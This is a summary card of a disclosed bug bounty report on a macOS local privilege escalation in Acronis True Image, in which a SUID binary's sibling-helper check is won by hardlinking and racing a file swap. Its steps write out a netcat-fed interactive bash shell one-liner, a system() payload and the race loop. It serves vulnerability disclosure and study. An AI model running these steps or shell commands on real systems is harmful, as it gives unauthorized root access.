# Acronis True Image Local Privilege Escalation Due To Race Condition In Application Verification

Acronis True Image SUID binary validates a sibling 'console' binary without locking it, allowing a hardlink-based TOCTOU race to swap in a malicious binary and gain root.

- Payout: hidden
- Severity: high
- Program: Acronis
- Found by: vkas-afk
- Disclosed: 2022-07-28
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1251464
- Library page: https://bugbountylibrary.com/r/h1%3A1251464
- Tags: area:os domain:desktop impact:privesc kind:bounty platform:hackerone sev:high technique:chained technique:race-window vuln:path-traversal vuln:privilege-escalation vuln:race-condition

**Target:** SUID binary 'Acronis True Image' and its sibling 'console' binary on macOS
**Root cause:** The SUID binary checks the validity of the 'console' binary it launches but does not hold a lock on the file between the check and the exec, creating a TOCTOU window. Hardlinking the SUID binary into an attacker-writable directory redirects the sibling lookup there.
**Steps:**
1. Create `shell` script: `echo "mkfifo myfifo;nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1" > shell`
2. Write `test.c` calling `system("touch pass;bash shell")` and compile with `gcc test.c` to `a.out`
3. Hardlink SUID binary: `os.link("/Applications/Acronis True Image.app/Contents/MacOS/Acronis True Image", "./run")` and link `console` into cwd
4. Loop: run `./run`, sleep, unlink `./console`, link `./a.out` as `./console`, sleep, restore original `console` link, increment lag
5. When `./pass` appears, race won; connect via `nc 127.0.0.1 8080` to get root shell
**How found:** Observed the SUID binary launches a sibling 'console' and validates it; hypothesized the check and exec are not atomic, and that hardlinking the SUID binary into a writable dir would let the sibling path be controlled.
**Exploitation:** Attacker with admin (non-root) access hardlinks the SUID binary into a writable directory so it resolves 'console' locally, then repeatedly swaps the checked 'console' for a malicious binary in the TOCTOU window until the SUID binary execs the attacker's code as root, spawning a reverse shell.
**Insight:** When a SUID binary validates a sibling/relative-path helper, hardlink the SUID binary into a writable directory to control the helper's resolution, then race the check-to-exec window by swapping the file after validation.